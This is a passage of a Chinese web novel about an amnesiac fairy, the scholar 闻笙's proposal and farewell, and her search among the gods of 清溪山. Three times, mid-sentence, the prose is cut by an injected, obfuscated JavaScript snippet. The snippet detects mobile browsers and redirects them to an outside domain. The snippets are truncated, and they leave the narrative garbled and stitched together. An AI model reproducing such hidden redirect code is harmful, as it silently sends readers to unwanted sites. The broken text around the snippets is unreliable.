我懒洋洋地靠在椅背上,手指轻轻敲打着桌面,眼神漫不经心地扫过说书人和一众兴致勃勃的听客,嘴角挂着一抹似有似无的笑意。 仿佛他说的事情与我无关。 “仙子小心。” “啊,抱歉。” 酒足饭饱走出酒楼,没想和路过的人撞了个正着。摇摇欲坠之际,路人稳稳接住我。浓烈的腥味和某种爬行动物的味道扑鼻而来。 闻笙见我踉跄了一下,赶忙搀扶住我,询问我可有身体不适。 “没事,只是刚才不小心撞到路人。” “路人?” 闻笙左右环顾。 “可是街上……一个人也没有?” “欸?” 我看向刚才那路人离开的方向。别说人了,鬼影子都没有。 “那我刚才撞到的……是什么?他是不是叫了我……什么?” 醉意上头,惊魂一事立马被我抛之脑后。 再回小院,已是夜深人静。没了困意,闻笙亦未寝,我便拉着他在小院里赏月。十五的月亮,十四圆。明月照亮了山村,给相依之人镀上一层银色的轮廓。 我靠在闻笙的肩头,忽而想起怀里的东西,从袖中摸出白日里做的玉佩举到闻笙面前。月光下,青玉流转着朦胧的光晕,虽不及天宫宝物精致,却是我亲手所制。 “送你。”我将玉佩悬在他眼前晃了晃。 闻笙眸中闪过一丝讶色,抬手接过玉佩,然后拿出一支镶嵌着翠绿色竹叶的发簪。翠玉竹叶在月下栩栩如生,叶脉间还缀着细碎的星光。 “送你的。” 我忍不住噗嗤一声笑了:“先生与我都是早有准备啊。” 端详着闻笙送我的发簪,越看越觉得不对劲……我迟疑了片刻,还是将自己的疑惑问了出来。 “先生确定是第一次制作吗?如此精致,哪里有初学者的味道?” 闻笙偏过头,目光撞进我有些怀疑的神情,大大方方地承认了。 “我没说自己是初次吧。还在信州时,曾跟一位老师傅学习过。” 我打趣道:“原来在我们相识之前,先生就开始为这天做准备了呢。” 闻笙双眼定定地注视着我,唇畔扬起明朗的弧度。 “初心是迫不得已,不过眼下……我很庆幸。” 低沉的嗓音清晰得丝丝入耳,他的手扣住我的,暖意从掌心传来,暖了泛起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056737|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉意的夜。 “我心已许。愿每日为你绾发梳妆,陪你观云听雨……” 我愣了一下,直到他扣住我的手紧了紧,才意识到他是在——向我告白。我的另一只手里还握着他亲手制作的发簪,他抬起空出的手和我一起握住发簪。 “以此簪为凭,不知姑娘……可愿余生与我共进?” 听着面前郑重许下誓言的人,我怔怔望着他映着月光的眼眸,那里盛着的深情比瑶池还深。我下意识伸出双臂环绕住他,在他唇上啄了一下。 “君子一言……”闻笙顿了一下,猛地凑近,在两个人的唇几乎快触碰的地方停下,“此生不换。” 话音落下,一切归于这个漫长缱绻辗转不休的吻。 “对了,我做了首诗,要看看吗?” 吻到半途这个人说什么呢。不过,我很喜欢闻笙作的诗,有新作他也通常会第一个给我看。 “不过,还没写完,最后的句子始终不满意。” 我俯身看他未完成的诗句,青丝垂落,有几缕拂过他的手背。 “从来诗酒即吾乡。幽径扫青霜……”我的指尖轻轻点在他写了一半的诗句上,“挺好的呀,哪里不满意?” “还少了一句。”他抬起头,对上我的目光,“我想把你写进这首诗里。” 窗外,春风拂过,似花香也似竹香。 活了三千年的南风仙子,在听到第一个邂逅的凡间男子深情告白后,因无法许下承诺,落荒而逃。 此时,距离第一次奔赴旷野还有三年半。 【闻此笙歌】 青竹发簪诞生于世间那日,闻笙将它赠予最爱的姑娘那夜,许下“君子一言,此生不换”的誓言后不久,敲定良辰吉日的次日,那个叫“齐风”的姑娘离开了。 或许是觉得自己直接离开太过无情,她在窗台上留下了一封信。信封上没有多余的字句,只有简单的署名:风。 她从不称呼自己为齐风,只在别人问起她的名字时,才会思索良久说出陌生的字眼,仿佛那名字并不属于她。 信中内容不过寥寥数语。 “余生漫长,终有再会之日。” 这是她第一次离开。 她走后,闻笙将这句话视若珍宝,仿佛那是她留给他的唯一承诺。 几年后,她再度出现,手中多了一支精雕细琢的玉笛。她依旧是她,却又不像从前的她。归来后的她说,消失的几年里她经历了许多,甚至经历了从生到死,从死复生……闻笙不能理解她的话,直觉心疼,更想留她永生永世。 不出意外,她逗留了段时日,和张氏棋的死一起,再次消失。 闻笙建了醉月楼,让临街台上的歌女夜夜唱着他为她写的歌。日复一日,年复一年,他等待着,期盼着,直到某天夜里,她在梦中再次出现。梦里的她,依旧如风般轻盈,却不再记得自己的名字,忘了那支发簪,忘了他们之间的一切。 罢了,他会有办法留下她。哪怕这个办法……很愚蠢。 竹深掩翠户,风徐过,叩书窗。 恰仙子凌波,云鬟半绾,影落清塘。 凝眸处、炊烟袅,更村童笑逐犬声长。 书卷半掩篱下,茶瓯漫煮斜阳。 从来诗酒即吾乡。幽径扫青霜。 纵尘世千般,浮名尽洗,只恋寻常。 此心若同筠节,任流光暗剪又何妨? 梦里风回竹坞,月痕悄染罗裳。 ——《木兰花慢·竹深掩翠户》闻笙 25. 一重烟水 在医鹿山醒来前,我似乎昏睡了很久,漫长到像是去了一趟黄泉,轮回重返人间。 地府没有白昼与黑夜之分。 忘川河畔,黑无常手持锁魂链,冷峻的面容在月光下更显苍白。他步履无声,与黑暗融为一体。今日,他奉命前来拘拿一名逃逸的游魂,却在河畔的彼岸花丛中,瞥见一抹不适宜的蓝白。 她斜倚在花丛间,手中把玩着一朵盛开的彼岸花,唇角含笑,眸光流转间尽是风情。黑无常眉头微蹙,冷声道:“南风仙子,此处乃地府禁地,不是你该来的地方。” 南风仙子闻言,轻笑一声:“地府,人死堕入轮回的地方。神仙也不例外。”她站起身,步履轻盈地朝他走来,纱衣随风轻扬,露出一截白皙的脚踝。 “你再看看我,是不是该来这里?” 黑无常目光微冷,冷峻的脸上显出沉重。 “发生了什么?” 南风仙子却不以为意,背过身去,欲在彼岸花间起舞,羽带在旋转之际拂过黑无常的眼前,被他两指精准捻住。 “我在问你话。” 仙子沉眸。 “我不能告诉你。” 说罢,她伸手欲抚上他的胸膛,却被他一把握住手腕。 黑无常质问:“你死了?” 南风仙子却笑得愈发妩媚,手腕轻轻一转,挣脱了他的钳制。 她退后一步,眸光潋滟:“若有朝一日,你动了凡心,就能明白,我为何在此。” 她顿了顿,意味深长地歪头看着他,“还是说,你曾为谁动过心?” 黑无常沉默不语,黑色的眸子愈发幽深。南风仙子见状,轻笑一声,转身离去。 “时日已到,我该回去了。” “去哪儿?” “医鹿山吧。”她稍稍偏过头,“砚清似乎是把我带去了那里。” “所以,你到底怎么了?” 黑无常还是穷追不舍,想问出眼下的情况,南风仙子蹲下身,摘下一朵彼岸花。 “凡尘间的花,我最喜欢医鹿山的梅花。自我种下后每年都开得繁盛。因为是白色的,不像血……明明热烈,却渗人。” 指尖松开,花落尘土。 “我还喜欢竹村窗外的那片竹林,可惜找不出发簪上相似的三片叶子……若有机会,你不妨去看看信州的千灯节,满天星河,无论天上的神仙还是地上的凡人,都会喜欢……” 黑无常不解,“仙子告诉我这些做什么?” 婆娑的眼撞进他幽深的眸子。 “因为,我希望有人替我记得。” 她的身影渐行渐远,最终消失在彼岸花丛中。 黑无常站在原地,手中的锁魂链微微颤动。 他低头看了一眼那朵被她遗落的彼岸花,花瓣上还残留着她指尖的温度。 【又见东风】 听闻信州城外数里的清溪山,福天洞地,紫烟升起便有神仙循烟而来。 虽然不清楚是不是我要找的神,但我决定去碰碰运气。 光州到信州的路程一路策马也要半月时间。 离开竹村的早上,闻笙意外地冷静。 相比起前一日的撕心裂肺,他像是一夜间看淡了离别,淡漠了情感。 他一如往常准备早膳,动作娴熟自然,仿佛今日是个再寻常不过的日子。 我本考虑了诸多话,想再开导开导他,眼下看来,这些话派不上用场了。 只是看着他憔悴的脸,心头一酸,在驿站临别前忍不住给了他一个悠长的拥抱。 “此一别,我们还会再见吗?”他笑问。 我摇了摇头,“还是不了吧。” 说得绝情,但我没有办法。 重生前做过的事,许下的承诺,我都忘得一干二净。 且当我是个没心没肺的人吧,欠你的,注定无法偿还。 “济民区的那些人,放他们回醉月楼吧。那个地方守着茅房,挺臭的。” 闻笙替我拿着行李,同我坐在驿站旁的面馆填饱肚子。听到我的话时,他有一瞬的怔愣,转眼笑着点了点头。 “也只是你在时安排的戏子,你转身离开,他们也走了。” “那还行。不愧是戏子,身上的伤画得也太逼真了。幸好是我学艺不精看不出来,不然,你的伎俩早被我识破了。” 我吞下一口面,抬头问闻笙:“陈烈,是哪家孩子?” “陈烈?” 闻笙反问的语气好像真不知道我在说谁。行吧,连名字都是骗我的。那孩子跟我说的话,到底哪句是真的? “如果你问的是那日在巷口碰见的,他是我侄子,闻烈。从小就花招多,思维也比别家孩子跳脱,管不住。平日在外人面前叫我叔叔,私下总是叫我大人。” “所以他跟我说璃坊,其实是给我提供线索咯?”我挑眉问道。 闻笙捏着下巴思索片刻:“他跟你说的璃坊?恐怕,不是在提供线索。” 我叼着面盯着闻笙呆住,心中一阵无语。 闻笙笑着替我倒了杯茶,解释道:“我交代他的是可以跟你坦白幕后之人是我。那孩子从小粘我,偏袒我,跟你说璃坊估计是想不出别的法子,所以想把罪名扣到兄长的头上吧。” 那还真是个他爹的好大儿。 我又好气又好笑,擦着嘴角的汤汁,喝下茶汤:“闻烈……前途无量啊。不用猜也晓得是跟某人学的。”我冲他打趣,闻笙也不以为然。 片刻后,闻笙双手交叉放在桌上,心虚地动了动手指,然后伸进兜里摸出一样东西递给我。 我惊愕地接过手里,不敢置信地看了看手里的神器,青竹发簪,又看向对面不敢直视我的闻笙。 “你是什么时候……” 我话未说完,闻笙已站起身,望向驿站那边准备启程的马车。 他自然地拿起我的行李,牵起我的手,朝马车走去。 直到站定车前,他才转身面向我,神情复杂地望着我说道:“我其实对你隐瞒的事,比你知道的还要多。时间有限,没办法一一告诉你了。” “现在才说,当然来不及了!” 我温柔地呵斥,他盯着我的眼睛,笑意浮现。 他又得逞了。 但这次,我不会留下来质问他。 他也明白的。 闻笙牵着我的手,轻轻揉了揉我的手背,意味深长的眸子落在我的手背良久。 “我可以再回答你一个问题,知无不言。但你得答应我,以后,我们还会再见。” 我们还会再见吗……也许真的会吧。 思绪一下涌现出太多疑问,根本不知从何问起。我愣在原地犹豫了好一会儿,随后摇了摇头:“不问了。” 我抓过闻笙手中我的行李,踮起脚尖,环上他的脖颈抱住他:“我明白你所做的一切都是为了我,所以我不问。不过,看在你如此坦率的份上,我答应你。” 错在我先,我不想再伤害你。最后,再送你一个无法兑现的承诺吧。 谁叫你之前骗我来着。 闻笙沉默着回拥住我,低沉沙哑的吐息落在耳畔。 “是有人告诉我你下山的日子,让我从鹿镇跟着你。” 我没想到闻笙会说得如此直接,这件事他不提我都快忘了。 “那个人,可以告诉我是谁吗?” 闻笙浅笑着摇头:“我不记得了。是在梦里发生的,时间过去太久,我有些忘了。” 驿站的车夫招呼着即将出发,闻笙拍了拍我的后背,我不舍地松开他。 “上车吧。”他轻声说道。 “嗯。” 踏上马车,我又回头看了他一眼。他的身影在晨光中显得格外孤寂,眼中似有千言万语,却终究化作一声叹息。 马车缓缓启动,闻笙的身影渐渐远去,最终消失在视线中。 我们都清楚,这一别,或许就是永别。 我抬手取下发间的白梅步摇,换上闻笙“新赠”我的青竹发簪。我果然还是喜欢这支发簪。 不过错过了闻笙悄咪咪在竹叶背后刻下的字。 一路不算颠簸,为了尽快赶达目的地,途径驿站除了稍作休整没有浪费多余的时间。 信州府,清溪山,当地有名的神山。 传说医仙葛榆在此飞升,虽然医鹿山的医仙殿供奉其神位,但清溪山是他最终选择的地方。 山间清溪潺潺,灵气充盈,葛榆曾在此采药炼丹,悟道修行。人间两大神山,一为人间供奉,一为仙踪永驻。 我不明白的是,医仙飞升之地不在医鹿山偏偏来了清溪山? 或许正是这片山水间的宁静与灵性,让他最终在此羽化登仙,留下无尽传说。 又或许,还藏着别的原因。 活得太久本身就是件麻烦事,神仙的事就是麻烦。 柳砚清活了三百多年,没给自己找不少麻烦。 再例如我。 我站在山脚下,清溪山巍峨入云,青石台阶蜿蜒而上,直通天际。 清晨的山雾厚重,将山体笼罩得严严实实,只隐约露出几处轮廓。 空气中弥漫着草木的清香,混合着淡淡的檀香,沁人心脾。 该说我赶巧了还是清溪山香火旺盛,这天同我一道上山的人格外多。 山道上香客络绎不绝,脚步声与低语声交织,回荡在山间。 我可是牺牲了懒觉特地早起的!大家都不喜欢睡觉吗! “清溪山拜过的神仙都会显灵!” 上山途中我不知听到身旁多少人说了这句话。 “我上次来许了个愿,没过多久就应验了,真是神了!” “下山以后我娘子就怀上了!” “我说生女儿还真生了个女儿!神仙保佑啊!” “我家院子直接挖出一箱白银。” ……有这么神吗?神不是都凶巴巴的,从不听人话的嘛。至少我认识的神是这样的。 人流在进入山门口开始四散,寻找各自的神。我决定挨着找,不放过任何一座神像。 在层层叠叠的绿意中,一片气势恢宏的建筑群赫然出现在眼前。 朱红色的围墙绵延不绝,金色的琉璃瓦在阳光下熠熠生辉。正中央是一座巍峨的主殿,飞檐翘角,雕梁画栋,檐角悬挂的铜铃在风中发出清脆的响声。 向来安静的神像前,跪着祭拜的人,只听见来来往往的脚步声。 我走过一尊尊神像前,寻找我要的神。 掌管天地书籍典藏的神云枕书,不是。掌管天工制造的神北雷,不是。掌管梦境的神东婝,不是。掌管墨的神俞墨,不是。掌管世间花花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那一瞬间,我清楚地看到他的手指微微颤抖。他的目光如电般扫过我,又迅速移开。 他转身的动作快得几乎带起一阵风,褐色的衣袂翻飞,转眼间就消失在殿外的阳光下。 “等等!” 我立刻拨开人群追了出去。 青石板路上,他的背影若隐若现。我提着裙摆,顾不得形象,拼命追赶。 可是他的步伐太快了,明明看起来走得不急不缓,却始终与我保持着距离。 后山的山门渐渐近了,我的呼吸越来越急促,心肺火辣辣地疼。 没注意到脚下的台阶,一个踉跄,整个人朝前扑过去。 掌心被粗糙的石面磨得生疼。好在膝盖隔了两层布磨损得不算严重,但骨头还是撞击到冷硬的地面痛得人跌坐在地上,半天缓不神来。 “你跑那么快做什么……”我喘着气,欲哭无泪,“我就想问你几句话……” 山风拂过,松涛阵阵。环顾四周,空无一人,只有身旁的清浅池塘里立了一只仙鹤,正捕捉水池里的小鱼。 确实察觉不到有旁人的存在,但总觉得有一道目光在暗处注视着我。 “我失忆了,我想找回自己的名字。你一定认识我对不对?可不可以出来,让我看看你……” 回答我的只有风声。 “你为什么不许我靠近,告诉我呀……我摔伤了你也不管……” 我无力地伏在地上,弓起腰,脸埋进大腿间。指尖摩擦地面,生疼也抵不过身体窒息的痛感。 “你到底是谁啊……” 我忽然好想柳砚清,如果他在的话,一定会立马板着脸走过来将我从地上拉起来,温柔地喝道:不许再哭了。可即便我还在哭,他也只是叹口气,口不对心地安慰我。 忽然,仙鹤鸣叫出高亢洪亮穿透力极强的声音,飞向天际,藏进了不远处的松树林。 这声音同医鹿山听见过的仙鹤叫声相似,恍惚之间,我好像回到了医鹿山,还在过远离凡尘的清闲日子。 太不争气了,我忍不住骂自己,吃不得苦还要自讨苦吃,没人会可怜我。 不知过了多久,有脚步声由远及近。 是山中巡值的弟子,他们看到我狼狈的样子,连忙上前搀扶。 我任由他们扶起,目光却仍不死心地扫视着四周的树影。 他终究没有出现。 清溪弟子扶起我时,突然开口道:“清溪山何时来的仙鹤,太神奇了。” 我以为自己听错了什么,露出一脸疑惑。清溪山也是神山,有仙鹤不该是正常现象吗。 弟子看出了我的疑惑,解释道:“清溪山虽为仙山,但每日都有凡人上山祭拜。仙鹤毕竟是仙界的神鸟,被凡人看见多有不适。不过姑娘倒是幸运,居然和神鸟碰面了。看来,今天有好事发生哦。” 医鹿山需得到神鹿指引才能登山,所以有仙鹤不足为奇。这里是清溪山,弟子说得话如果是真的,那刚才的仙鹤是……我忽然想起仙鹤发出的熟悉的声音。 “莫非……刚才的仙鹤是……医鹿山的仙鹤?” 26. 青山如昨 我重新踏入大殿,香客已经散去大半,只剩下零星几个虔诚的信徒还在跪拜。袅袅的香烟缭绕在殿内,给庄严的神像蒙上一层朦胧的面纱。我仔细端详着每一尊神像的样子,却找不到我要找的那位。殿外传来脚步声,我转身拦住一位路过的弟子。 “请问,我想找一位神,能告诉我在哪里吗?” 弟子露出困惑的笑容:”您能说得具体一些吗?” 是啊,我连要找的是哪路神仙都不知道,又该如何描述?弟子似乎看出了我的窘迫,抬手指向太阳落下的方向:“或许那边会有人为您解答。” 我顺着弟子指引的方向,沿着一条僻静的小路前行。路越走越窄,两旁的树木越发茂密,直到眼前豁然开朗——一座凉亭静静地矗立在山谷中,亭内亮着幽幽的光。 凉亭里坐着一个人。 那个背影让我心头一震。不是现实中见过的熟悉,而是像从梦里走出来的影子。他盘腿坐在蒲团上,目光凝视着亭前的花海,仿佛与周围的景色融为一体。 我走近凉亭,他并未回头却开口道:“我等你许久了。” 又是一个认识我的人。我索性省去客套,直入主题:“您知道我要来,那一定知道我要找谁。” 他笑了笑,拍了拍身边的蒲团。我坐下后,他意味深长地说:“我知道你在找人,却猜不透你今日要找的,是哪一个?找男人还是找神仙?” 奇怪的问题,我要找的神仙也是男,这该怎么回答。 “今日是要找蓬莱的那位大仙。我听人说这里有供奉他的神像。” 话音刚落,他突然笑起来,笑声在寂静的山谷中回荡:“清溪山供奉的神几乎都来自蓬莱,你靠着这么一个单一的线索,哪能找到。” 我一时语塞。他转头看我,目光温和:“你要找的是方大仙,赤方神仙,以后可得记住咯。” “方大仙?赤方神仙?” “掌管寿命的神。终结寿命,赐予寿命,祈求长生不老之人,祈求起死回生之人,都会去祭拜方大仙。” “起死回生……”我喃喃重复,脑海中闪过柳砚清的身影。他也是会起死回生的仙人,这其中是否有什么联系? 正当我陷入沉思时,他突然说:“下雨了。” 话音刚落,豆大的雨点便砸了下来。山间的太阳还未完全隐去,雨却已经倾盆而下。我狐疑地看向他,他却始终没有转头。 真是个古怪的人。 我取下闻笙送我的白梅步摇,在手中把玩。清脆的叮当声终于引起了他的注意。 “白梅?” 我将步摇递过去,“做工很精致,要看看吗?” 他接过步摇,目光落在“闻”字上,嘴角泛起一丝笑意:“放眼人间,这做工勉强还行。” 雨声渐大,他忽然正色道:“看你最近颇有长进的份上,送你一个小小的提示。但只是让你听听,如果你想起什么,我会抹掉这段记忆。” 他见我沉默不语,抬起修长的手指点在我的脑门心。四肢仿佛被定住一般无法动弹,耳边响起如前世遗留的声音。 那声音夹杂着风的声音,从很远很远的地方传来,空旷、明朗。我仿佛站在一片草原的中央,远处有一个人朝我挥手,宣告着什么—— “总有一天,我会站在敌人的尸骨上,让全天下都看着我,知晓我的名字!” “……风,你一定要嫁给我啊——!” 我望着近在眼前虚晃的掌心,嘴唇不受控制地颤动着,喃喃吐露出刚才在大殿哽在喉咙说不出的字眼。 “贺祈源……” 松鹤、棋子、水源。消失在大殿前的人,叫贺祈源。 遥远的声音逐渐消失,面前的男人也缓缓放下手,将步摇放回我的掌心。 “好了,忘记这一切,然后,把他彻底忘了吧。” 说完,他又叹了口气,“明明梦里已经替你消除一次记忆了,想不到现实还得来一次。” 我不明所以地望着他,反复斟酌了好几次他的话,恍然大悟。 “你是神像!” 不对,应该叫他——“方大仙。” 我发现他眼底闪过一丝落寞,暗暗叹了口气,忧心忡忡地望着我。 “当真忘得一干二净啊。” 又是这句话。 方大仙和柳砚清真的没有关联吗?分明是他让我听到贺祈源的声音,现在又要我忘记,不是自相矛盾吗。罢了,神仙自有神仙的道理。 我无意识捏紧了手中的步摇,想趁着他消除我的记忆之前,问出我的疑问。可转念一想,记忆消除,问出来又有什么用。 我没有接话。方大仙也只是默默又叹了一息,伸出手指移向我的额头。 “等一下!” 我立马捂住额头。 “我还是很好奇。您跟柳砚清,什么关系?” 你,是否就是柳砚清? 后半句话我没有说出口,不找边际没有证据的话肆意脱口而出只会引起不必要的麻烦和误会。 方大仙了然一笑,猜到了我的话中之话。 “砚清曾到仙岛跟我学过一段时间的起死回生之术。” 看我沉默不语,方大仙抬起手揉了揉我的发顶。 “虽然我可以直接把所有事情一一告诉你,但我不想这么做,也不能这么做。” 慈爱的笑映在我的眼里,像父亲一样,像父亲安慰着病重的孩子那般疼惜怜爱。 “都会好起来的。你会全部记起来的。这一次,不会再重复同样的结局了。” 好熟悉的一句话。 我笑着垂下头,然后露出一抹明媚的笑,告诉他我已经准备好忘记这段记忆了。 “必须全部忘记吗……” 温热的指尖轻柔地抵上我的额头。 “你想记住什么?” “他的名字?” 他摆头拒绝。 “关于他的事,必须全部消除。” 他一脸严肃地皱着眉,我深知没有商量的余地,闭上眼接受现实。 浑浑噩噩的幻境里,方大仙转身走向了一个看起来阴暗不见底的通道,不断散发出腐烂的恶臭味。 没猜错的话,是尸体腐败的味道。 他要带我去哪儿?不是消除我的记忆吗?为什么还会有幻境出现? 通道的阴影处躺着一些“人”,他们无一例外都呈现极其扭曲的姿势。我察觉不到任何气息,安静的通道里只能听见我自己的呼吸和心跳声。 “这些人,都死了吗?” 方大仙没有否认。 “关于他的记忆有些复杂,如果你没有经历见证生死劫难,都没法直接消除。所以,我得带你走一段特殊的路。” 我不明白他说的意思,但话里有话。 我小心试探地问道:“之前,也有过相同的事情,在我的梦里?在那儿,我又经历了什么?消除以后,我就再也不会见到他,梦到他了吗?” 我一股脑的把问题抛出,方大仙始终目光朝前,语气强硬。 “别问。把他忘得一干二净。” 我感觉一股沉重的不断涌上胸口,烦躁、郁闷。我停下脚步,不再往前。方大仙转过头望着我,神情依旧是不可亵渎地威严。 “我需要一个理由。” 我知道神像不会为难我,即便他是高高在上的神,于我,总有种可以恃宠而骄的特权。 “因为他没有必要被你记起。” 方大仙的话让我有些茫然,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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跪拜的男子身形健硕,许是练过的。皮肤偏白,不是去塞外待过的将士。一看器宇不凡,名门气势,应该是城里当官的?如果他是我要找的九个男人之一那还真是……比柳砚清和闻笙差了些,我的意思是,比我的审美差了些。 我一面慢慢靠近,一面打量起即将被我搭讪的男人。察觉到我的视线,那人笑着起身拍了拍膝盖附近仪态端庄向我迈步。 “夫人?许久不见!” 夫人?他在叫谁夫人?我环视一圈,确定现在殿内只有我和他两个人。 “你是?” “曾在颜大人手下当差的孙寺。也是,您和我只有过一面之缘,不记得也正常。” 孙寺?颜大人?短短一句话包含的信息太多,一时思绪混乱,转不过弯。 “夫人和大人一起来清溪山拜神吗?”孙寺又追问道。 我该怎么回答?是?不是? 孙寺显然是认识重生前的我,而且在我曾经的男人手下当差。若是暴露我失忆一事,定然会因此一堆麻烦。我可不能做给自己找麻烦的人,能少一事少一事吧。 撒谎嘛,谁不会。 “是——的。” 我果然不太擅长说谎,话到一半良心作祟,险些败了阵脚。 孙寺笑了笑,说:“夫人还是一如既往的有趣。许久未见大人,可否请夫人带我跟大人打个招呼?” 能圆过谎话的只有谎话。当我撒出第一个谎时就该猜到后面还有更大的坑等着我跳。 “大人在……他在……哪儿呢……” 我哪儿知道在哪儿!话说大人是谁啊! 27. 晓风残月 山谷凉亭,男人送走了懵懂的姑娘后,静坐在蒲团上,往白玉壶中焚上一檀香,闭目养神。 直到另一位紫衣姑娘步入亭中他才睁开眼睛,为来客倒上一杯热茶。 “演技拙劣,亏你跟着爹爹学了那么多年医术,连基本的特征都摸不准。” 紫衣姑娘端起茶,这还是她第一次喝凡间的茶,寡淡无味,只有香气。 自家小妹从前最爱人间的茶,清淡的浓涩的,也曾带过一些回蓬莱仙岛,尽被自私的西雨抢去,关在房里独享。 喝放下茶盏,一只仙蝶从她的发间飞出,径直朝着对面男人的袖口飞去。 那是柳砚清传信的彩蝶,跟了她一路,现在物归原主。 “多谢元君相助。一时心急,忘了细节。” “爹爹从来都自称吾,哪儿会有性子跟小妹讲大道理。方才在梦中,我读取了小妹的心声,她似乎有一瞬间猜出了是你。” 柳砚清端茶的手愣了一下,立即恢复如初,浅笑着看向亭外飞来的仙鹤。 东婝元君一同望过去,奇怪的仙鹤,嘴里居然叼了一只鱼。 清溪山是凡间为数不多供奉东婝神像的山,有了神像在此,从蓬莱到这儿方便许多。 自那日收到柳砚清的仙蝶送来的讯息后,东婝便迫不及待寻访清溪山。 山清水秀,怡然自得。 唯一的不满即为什么自己神像旁边是云枕书的神像! 心思扯远了,东婝回过神来看着一桌之隔的人。数十年不见,三百多岁年轻的仙人苍老了些。 “砚清是否有事没向我坦白?” “元君所谓何事?” “知道我问你作甚……说罢,我不会告诉爹爹和大哥。” “真人也不行。” “那家伙几千年不曾离开蓬莱,告知他也没用。” 柳砚清用指尖在茶案上攒着茶水画了个圈,圈内如水波荡漾,缓缓显出那支白梅步摇和青竹发簪。 “是关于神器的。听她说,青竹发簪是在山洞里,大仙给的。” 东婝点头答道:“当时我也在,亲眼所见。” 柳砚清眸色沉下,东婝也被感染,心生不安。 “玉笛,可以变成发簪吗?”柳砚清问。 东婝回忆片刻,“毕竟是神器,应该可以吧。小妹从小就喜欢梅林和竹林,私自给玉笛加了些术法,也不奇怪吧。” “那可是北雷君锻造了半百年出的神器,况且——” 他突然沉默,搞得东婝心头更急,恨不得出言催促他赶紧说。 “据我观察,神器从没回应过她。” “这是何意?” “我从医鹿山一路跟随她至光州,听见过她和神器说话,从未得到回应。叫闻笙的人间男子竟可以在客栈拿走她枕边的神器,修缮好发簪上的一处瑕疵后又还给她……无论从哪一个角度看,神器都宛如——” “普通的发簪。” 东婝自然地接过话,神色一下慌乱,心里泛起一股奇妙的感觉。 当初在山洞交给小妹的玉,莫非有问题? 神器不会引梦,只会护佑主人。 仙界皆知,玉笛是南风仙子大哥北雷真君耗费五十年打造的,比起武器类少了杀伤力,比起纯乐器多了份保护仙子的能力。 玉笛护主,人尽皆知。 倘若南风仙子要玉笛杀够上百人,玉笛绝不推辞,顷刻间,数百颗人头落地。 重生前,也就是五年前,南风仙子去了趟光州,为件贩卖孩童的事打抱不平,百姓非但不领情,主犯还出言挑衅。 南风仙子虽然生气,但还没生出杀人的念头。只是同玉笛闲聊时露出惆怅,不知如何是好。 玉笛是有自我意识的,那个叫张氏棋的人当夜被玉笛传送至光州郊外,以极其残忍的方式让张氏棋死无全尸。 后来县衙追查到尸体时,因为全身上下布满数万个针眼,七窍流血眼珠爆裂,无法尸检,案件也就此草草了结。 发簪的形状是柳砚清在小妹清醒前告知的,说变化成她喜欢的模样,兴许能勾起些回忆。 那块玉石,也是柳砚清给的。 “可是……” 东婝支支吾吾,可是半天也没说出后面的话。那块变成发簪前的玉石的的确确蕴含法力,不该只是普通发簪才对。 太匪夷所思了。 柳砚清道:“元君不必在意此事。日后还有需要元君的地方,砚清先谢过元君。” 东婝收起猜疑道:“我可真被你和爹地折磨惨了。幸好更烦人的家伙不在蓬莱,否则,我才不肯帮你。我可是知道的,你之前去了霜洲地界,去跟那家伙见面。” “枕书君还会跟元君汇报这些吗?我还以为——” “不许提他的名字!” 气头上,东婝忽然生出猜疑。 “不必在意此事?你知道?那块玉石是你给的,你……骗我们?” “那玉石确实是为了偏过大仙的幌子,是我去霜洲地界求枕书君给的幻石。幻石天生蕴含神力,在加上枕书君施了障眼法,暂且无人能看出。真正的玉笛去了哪儿,我也正在追查。” “又是他……还有你不许再提他的名字!”蓬莱仙岛的摄魂天女听到是那人参与干的好事,怒气更甚,周身的寒气直逼;烈日下的花田结出寒霜。 “既然你已在追查,我便继续替你瞒下去。我信你是为了小妹好,不要让我失望。这次,你有多少把握改写结局?” 柳砚清沉默片刻,回答:“依旧毫无胜算。” 【又见东风】 殿外传来些许熟悉的声音。 “孙寺?” 声音吸引了孙寺的目光,我也跟随他的视线回头望去。视线对上的瞬间,我明显感觉到那人眼里的神情变了。 那人神情惊愕,试探着唤道:“楚……风?” 我怔愣在原地,目光无法从不远处那个逆光而立的身影上移开。 阳光从他背后洒下,将他的轮廓镀上一层淡淡的金边,仿佛从画中走出的仙人。 他身形修长挺拔,穿着一袭青色长衫,衣袂随风轻轻摆动,整个人透着一股清雅的书卷气。 他一步步走近,那张脸逐渐清晰起来。眉眼如画,整张脸既清秀又不失英气。他的眼神清澈明亮,温润如玉。 恍惚间,有一瞬的的错觉,我竟看到了含笑盈盈,清朗版的柳砚清朝我走来。 当他走到我面前时,我能闻到他身上散发出的淡淡檀香,混合着阳光的味道,令人心神一振。 他的脸上写满了见到我的惊讶,那双明亮的眼睛微微睁大,瞳孔中倒映着我的身影。 就在此刻,我怀中的神器突然发出一阵轻微的震颤,仿佛在回应他的存在。那是一种只有我能感受到听到的共鸣。 我心头一紧,确信眼前这个人就是我要找的人。 他的目光迅速在我身上扫过,从我的眉眼到我的衣角,仔仔细细地打量着我。 